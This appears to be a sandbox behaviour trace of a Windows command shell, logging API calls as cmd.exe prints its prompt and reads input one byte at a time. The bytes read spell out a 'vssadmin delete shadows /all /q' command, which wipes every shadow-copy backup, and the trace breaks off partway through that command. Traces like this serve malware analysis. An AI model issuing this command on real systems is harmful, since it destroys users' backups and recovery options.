[0240.623] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.623] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a95e198 | out: lpMode=0x4a95e198) returned 0 [0240.623] GetConsoleOutputCP () returned 0x4e3 [0240.624] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a96bfe0 | out: lpCPInfo=0x4a96bfe0) returned 1 [0240.624] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0240.624] GetProcessHeap () returned 0xa0000 [0240.624] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb9d80 | out: hHeap=0xa0000) returned 1 [0240.624] GetProcessHeap () returned 0xa0000 [0240.624] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb9c60 | out: hHeap=0xa0000) returned 1 [0240.624] GetProcessHeap () returned 0xa0000 [0240.624] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb5bb0 | out: hHeap=0xa0000) returned 1 [0240.624] GetProcessHeap () returned 0xa0000 [0240.624] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbb310 | out: hHeap=0xa0000) returned 1 [0240.624] GetProcessHeap () returned 0xa0000 [0240.624] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb9900 | out: hHeap=0xa0000) returned 1 [0240.624] GetProcessHeap () returned 0xa0000 [0240.624] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbaae0 | out: hHeap=0xa0000) returned 1 [0240.624] GetProcessHeap () returned 0xa0000 [0240.624] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb6550 | out: hHeap=0xa0000) returned 1 [0240.624] GetProcessHeap () returned 0xa0000 [0240.624] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb4630 | out: hHeap=0xa0000) returned 1 [0240.625] GetProcessHeap () returned 0xa0000 [0240.625] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb9840 | out: hHeap=0xa0000) returned 1 [0240.625] _vsnwprintf (in: _Buffer=0x4a976340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2bf7f8 | out: _Buffer="\r\n") returned 2 [0240.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0240.625] GetFileType (hFile=0xf4) returned 0x3 [0240.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0240.625] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0240.625] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2bf7c8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bf7c8*=0x2, lpOverlapped=0x0) returned 1 [0240.625] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0240.625] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a96c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0240.625] _vsnwprintf (in: _Buffer=0x4a95eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2bf808 | out: _Buffer="C:\\Windows\\system32") returned 19 [0240.625] _vsnwprintf (in: _Buffer=0x4a95eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x2bf808 | out: _Buffer=">") returned 1 [0240.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0240.625] GetFileType (hFile=0xf4) returned 0x3 [0240.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0240.625] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0240.625] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2bf7f8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bf7f8*=0x14, lpOverlapped=0x0) returned 1 [0240.625] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.625] GetFileType (hFile=0xe8) returned 0x3 [0240.625] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.625] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.625] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.625] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0240.625] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.625] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.625] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.626] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0240.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.626] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0240.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.626] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0240.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.626] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0240.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.626] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0240.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.626] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0240.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.626] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0240.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.626] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0240.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.627] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0240.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.627] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0240.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.627] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0240.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.627] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0240.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.627] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0240.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.627] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0240.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.627] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0240.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.627] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0240.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.628] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0240.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.628] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0240.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.628] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0240.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.628] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0240.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.628] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0240.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.628] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0240.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.628] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0240.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.629] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0240.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.629] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.629] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0240.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.629] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.629] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0240.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.629] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.629] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0240.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.629] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.629] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0240.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.629] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.629] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0240.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.629] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.629] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0240.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.629] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.629] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, 